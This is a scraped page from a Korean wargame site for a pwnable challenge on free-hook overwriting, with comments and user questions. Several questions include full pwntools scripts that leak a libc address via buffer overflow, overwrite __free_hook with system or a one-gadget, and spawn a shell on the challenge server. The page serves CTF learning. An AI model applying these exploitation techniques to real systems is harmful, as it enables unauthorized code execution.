학습
워게임
CTF
커뮤니티
랭킹
스토어
커리어
Beta
로그인
|
기업 서비스
Home
학습
워게임
CTF
커뮤니티
랭킹
커리어
Beta
기업 서비스로 이동하기 >
LEVEL 2
fho
pwnable
2686
1402
로그인 하고 문제 풀기
문제 정보
풀이
59
난이도 투표
68
질문
25
최근 풀이자
1402
댓글
30
문제 설명
Description
Exploit Tech: Hook Overwrite에서 실습하는 문제입니다.
Challenge Updates
2023.04.27: Dockerfile이 제공됩니다.
Translate
출제자 정보
Dreamhack
대표 업적 없음
2021.12.08. 16:23:36
First Blood!
Sechack
2024 Invitational Contenders
출제된 지
4시간
만에 풀이 완료!
난이도 투표
68
문제 풀이를 완료한 후에 피드백을 제출할 수 있습니다.
투표 결과
전체 투표 로그
1 / 14
Ehwon
대표 업적 없음
LEVEL 2에 투표했습니다.
4일 전
neworld
대표 업적 없음
LEVEL 2에 투표했습니다.
8일 전
MateiM
대표 업적 없음
LEVEL 2에 투표했습니다.
10일 전
아니비비
대표 업적 없음
LEVEL 2에 투표했습니다.
11일 전
Bayu
대표 업적 없음
LEVEL 2에 투표했습니다.
12일 전
질문
23
문제 풀이에 어려움이 있으신가요?
커뮤니티에서 문제에 대한 질문하고 답변 얻기
로컬에선 익스가 되는데, 원격지에선 불가능합니다.
1. 익스플로잇 코드 1-1. 로컬 from pwn import * libc_start_main_offset = 0x21ba0+231 system_offset = 0x4f420 # binsh_offset = 0x1b3d88 free_hook_offset = 0x3ed8e8 log.contect_level = 'debug' p = process("./fho") LibcLeakGarbage = b'a'*(0x40+0x8) #buffer+sfp pause() p.send(LibcLeakGarbage) p.recvuntil("Buf: ") p.recvuntil("Buf: ") p.recv(0x40+0x08) Libc = int.from_bytes(p.recv(6), byteorder='little') print("main ret addr : " + hex(Libc)) libc_base = Libc-libc_start_main_offset system_addr = libc_base + system_offset binsh_addr = libc_base + binsh_offset free_hook_addr = libc_base + free_hook_offset print("system addr : " + hex(system_addr)) print("binsh_addr : " + hex(binsh_addr)) print("free_hook_addr : " + hex(free_hook_addr)) p.recvuntil("To write: ") pause() p.sendline(str(free_hook_addr)) p.recvuntil("With:") pause() p.sendline(str(system_addr)) p.recvuntil("free:") pause() p.sendline(str(binsh_addr)) p.interactive() 1-2. 원격지 from pwn import * log.contect_level = 'debug' libc = ELF("./libc6-x32_2.21-0ubuntu4.3_i386.so") p = remote("host3.dreamhack.games", *) LibcLeakGarbage = b'a'*(0x40+0x8) #buffer+sfp pause() p.send(LibcLeakGarbage) p.recvuntil("Buf: ") p.recvuntil("Buf: ") p.recv(0x40+0x08) Libc = int.from_bytes(p.recv(6), byteorder='little') #u64(p.recvline()[:-1] + b'\x00'*2) print("main ret addr : " + hex(Libc)) libc_base = Libc-(libc.symbols['__libc_start_main'] + 231) system_addr = libc_base + libc.symbols['system'] binsh_addr = libc_base + libc.symbols['__free_hook'] free_hook_addr = libc_base + libc.symbols['__free_hook'] print("libc_start_main_now : " + hex(Libc)) print("libc_start_main : " + hex(libc_base)) print("system addr : " + hex(system_addr)) print("binsh_addr : " + hex(binsh_addr)) print("free_hook_addr : " + hex(free_hook_addr)) p.recvuntil("To write: ") pause() p.sendline(str(free_hook_addr)) p.recvuntil("With: ") pause() p.sendline(str(system_addr)) pause() p.sendline(str(binsh_addr)) p.interactive() 2. 질문 사항 1-1의 코드로 로컬에선 익스가 가능한데, 1-2의 코드로 원격지에선 익스가 불가능합니다. 어떻게 해결하면 좋을까요? 2-1. 시도해본 것 docker과 워게임의 libc 버전이 다를 수도 있단 생각이 들어서, ret의 libc_start_main을 leak한 후 https://libc.blukat.me/ 의 libc database에서 하위 1.5byte에 부합하는 몇 가지 libc 버전을 추렸습니다. 이후 1-2 코드의 5 line에 각 so 파일을 전부 대입해봤지만 익스되지 않았습니다. fho 바이너리를 docker가 아닌 host wsl의 pwndbg로 뜯어봤을 때, docker에선 ret에 libc_start_main+231이 아닌 libc_start_call_main+128이 들어있는 걸 볼 수 있었습니다. 따라서 바이너리가 위치한 os 버전에 따라 ret에 적힌 주소가 libc_start_main이 아닐 수도 있고, 혹은 맞긴하지만 offset이 231이 아닐 수도 있단 생각이 들었습니다. 그러나 1-1과 1-2 모두 중간까지 실행하고 출력값을 봤을때, libc_base의 하위 1.5byte가 0으로 채워져 있었기에 ret가 libc_start_main+231인 것은 거의 확실하다고 생각하여 해당 가능성은 폐지했습니다.
cityofwonder
답변
1
추천
0
10개월 전
free(): invalid pointer
image.png 로컬에서 실행했을 경우 free(): invalid pointer가 발생하면서 안되는데 서버에서는 해당 오류가 나오지 않고 잘 됨을 확인했습니다. 해당 오류는 해제가 불가능한(애초에 메모리가 할당 안된?) 메모리를 해제하려고 할 때 발생함을 확인했습니다. 이말은 애초에 free_hook이 system 주소로 덮어지지 않았다는 뜻이고 free 함수가 그대로 실행 됐다고 보여집니다. 그렇다면 또 libc offset 문제인거 같아보이는데 Exploit Tech: Hook Overwrite 강의 초반에 나오는 ubuntu 18.04 도커 실습 환경에 진행한 것이 문제라고 생각됩니다. 결론은 문제 파일에 주어진 Dockerfile을 통해 구축한 실습 환경과 개인적으로 우분투 버전만 맞춰서 구축한 실습 환경간 차이가 있어 발생한 문제점이라 보면 될까요?
Kabi
답변
1
추천
0
2년 전
서버 동작이 이상합니다.
$ nc host3.dreamhack.games 15557 [1] Stack buffer overflow Buf: 11 Buf: 11 [2] Arbitary-Address-Write To write: 22 With: 33 [0x16] = 33 44 55 66 $ 서버 동작이 이상합니다. 테스트를 해보면 문제와 다르게 아래 코드가 동작 안 합니다. puts("[3] Arbitrary-Address-Free"); printf("To free: "); scanf("%llu", &addr); free(addr); 확인 요청 드립니다.
노루놀우
답변
1
추천
0
8개월 전
문제가 뭔지 모르겠습니다. ㅠㅜ
exploit test를 통해서 Hook overwrite를 따라해보고 있습니다. local에서 flag 값까지 얻었는데 실제 서버에서는 flag값이 안나오네요. 뭐가 문제인지 알 수 있을까요? code #!/usr/bin/python3 from pwn import * p = remote("host1.dreamhack.games", 17917) #p = process("./fho") e = ELF("./fho") libc = ELF("/lib/x86_64-linux-gnu/libc-2.27.so") def slog(name, addr): return success(": ".join([name, hex(addr)])) buf = b"A"*0x48 p.sendafter("Buf: ", buf) p.recvuntil(buf) libc_start_main_xx = u64(p.recvline()[:-1]+b"\x00"*2) libc_base = libc_start_main_xx - 0x021b97 free_hook = libc_base + libc.symbols["_free_hook"] og = libc_base+0x4f302 slog("libc_base", libc_base) slog("free_hook", free_hook) p.recvuntil("To write: ") p.sendline(str(free_hook)) p.recvuntil("With: ") p.sendline(str(og)) p.recvuntil("To free: ") p.sendline(str(0x31337)) # doesn't matter p.interactive() server 응답 hyunmin@WMRRD11-NC102M3:~/hyunmin$ python result.py [+] Opening connection to host1.dreamhack.games on port 17917: Done [*] '/home/hyunmin/hyunmin/fho' Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled [*] '/lib/x86_64-linux-gnu/libc-2.27.so' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled [+] libc_base: 0x7f4ec0479060 [+] free_hook: 0x7f4ec0866948 [*] Switching to interactive mode [*] Got EOF while reading in interactive $ ls
김현민_cto
답변
2
추천
0
3년 전
libc_start_main+231 인 이유
gdb에서 확인해 보면 libc_start_main+231 로 보이는것은 알겠습니다. 어느 시스템이나 모두 231은 동일한 것인가요?
anous
답변
2
추천
0
3년 전
로컬이랑 서버랑 버전이 다를 경우에는 보통 어떻게 문제를 푸나요
도커 파일도 없는 상황에서는 찍는 방법밖에 없나요? 풀기는 했는데 로컬에서 실험하다 고생을 좀 해서...
M200is
답변
1
추천
0
3년 전
libc.symbols['__libc_start_main'] + 231
libc.symbols['__libc_start_main'] + 231 이 부분이 이해가 되지 않습니다. fho 실행 파일 gdb에서 스택 찍어보면 ret에 찍혀 있는 주소값이 있고 해당 주소값을 확인해보면 __libc_start_main + 205라고 되어있는데요 왜 231이 답이되는걸까요?
이무쿤
답변
3
추천
0
3년 전
문제파일에 주어진 라이브러리
문제파일에 주어진 라이브러리는 서버 환경에서 사용하는 라이브러리 아닌가요? 질문들보면 서버랑 로컬 라이브러리 다르다고 고군분투 하시는 분들 많은 것 같은데, 주어진 라이브러리 파일이 서버에서 사용하는게 아닌가해서...! 궁금해서 여쭤봅니다!!! 만약 그게 아니면 라이브러리 파일은 왜 주는 건가요? 그리고 문제파일에서 주는 실행파일은 서버기준으로 컴파일한 파일 아닌가요? 그런데도 로컬환경이랑 다른걸 신경써야되는 이유를 모르겠습니다 제가 잘못 알고 있는게 있는 것 같은데 알려주시면 감사드리겠습니다 ㅜㅜ
Rosieblue
답변
1
추천
0
2년 전
도커파일은 어떤 용도로 쓰는 건가요
지금은 문제에서 libc 파일이 주어져 이를 통해 버전을 알아낼 수 있었고 도커를 굳이 쓸 필요 없었는데, 도커 파일은 이런 파일을 주지 않는 경우에 쓰는 건가요?
지후니ab1
답변
1
추천
0
11개월 전
카나리 관련해서 궁금해서 남깁니다.
여기 문제에서 libc_main 주소 얻으려고 ret주소까지 buf를 채우잖아요. 근데 카나리가 있는데 ret까지 buf까지 채우면 강제종료 돼야 하는거 아닌가요?
p6rkdoye0n
답변
2
추천
0
2년 전
«
‹
1
2
3
›
»
최근 풀이자
1402
정윤주
대표 업적 없음
19시간 전
뚜와리밥
대표 업적 없음
2일 전
d3vh4cks
대표 업적 없음
2일 전
Turt1e94
대표 업적 없음
2일 전
rhdmsl
대표 업적 없음
3일 전
닉네미
대표 업적 없음
3일 전
peregr1nus
대표 업적 없음
3일 전
Ehwon
대표 업적 없음
4일 전
kuku_727
대표 업적 없음
5일 전
neworld
대표 업적 없음
8일 전
«
‹
1
2
3
4
5
›
»
댓글
30
Ma_Mu0228
대표 업적 없음
2개월 전
libc_start_call_main+xx 이 오프셋은 반드시 도커안에서 gdb로 확인하고 하세요
Translate
Tjdmin1
새싹
3개월 전
libc_start_call_main...wtf
Translate
스카이넷
워게임 고인물
1년 전
ez
Translate
catpwn
대표 업적 없음
2년 전
라이브러리 버전...............
Translate
KnightChaser
공부벌레
2년 전
Bidirectional methods to solve this intrigue me more
Translate
Sunja
강의 수강: 10
2년 전
main 함수의 실현과정?을 정확히 알 수 있어서 좋았습니다./
Translate
skandia
대표 업적 없음
2년 전
어우 로컬이랑 환경 달라서 삽질 엄청했네
Translate
Ox0ne
대표 업적 없음
2년 전
개념은 쉬운데 워게임을 풀려하면 매번 어렵
Translate
kio
CTF Second Place
3년 전
gg
Translate
msh1307
대표 업적 없음
3년 전
ret가 로컬환경이랑 약간 달라서 찍어맞췄네 ;;
Translate
«
‹
1
2
3
›
»
댓글 30